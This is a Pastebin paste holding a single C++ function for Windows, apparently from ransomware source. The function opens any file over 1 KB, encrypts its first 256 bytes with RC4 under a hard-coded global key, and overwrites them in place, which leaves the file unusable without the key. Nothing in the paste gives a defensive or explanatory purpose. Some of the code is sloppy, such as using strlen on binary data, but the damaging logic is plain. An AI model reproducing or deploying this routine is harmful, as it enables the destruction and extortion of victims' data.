Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void EncryptFirst(LPCWSTR path)
- {
- FILE* p_file = fopen(utf8_encode(path).c_str(), "rb");
- if (p_file)
- {
- _fseeki64(p_file, 0, SEEK_END);
- INT64 size = _ftelli64(p_file);
- fclose(p_file);
- if (size > 1024)
- {
- HANDLE hFileRead, hFileWrite;
- DWORD dwBytesRead, dwBytesWritten, dwPos;
- hFileRead = CreateFileW(path, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- dwPos = SetFilePointer(hFileRead, 0, NULL, 0);
- ReadFile(hFileRead, buff, 256, &dwBytesRead, NULL);
- CloseHandle(hFileRead);
- struct rc4_state* s;
- s = (struct rc4_state*) malloc(sizeof(struct rc4_state));
- rc4_setup(s, (unsigned char*)RC4key, strlen((const char*)RC4key));
- rc4_crypt(s, buff, strlen((const char*)buff));
- hFileWrite = CreateFileW(path, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- dwPos = SetFilePointer(hFileWrite, 0, NULL, 0);
- WriteFile(hFileWrite, buff, dwBytesRead, &dwBytesWritten, NULL);
- CloseHandle(hFileWrite);
- free(s);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement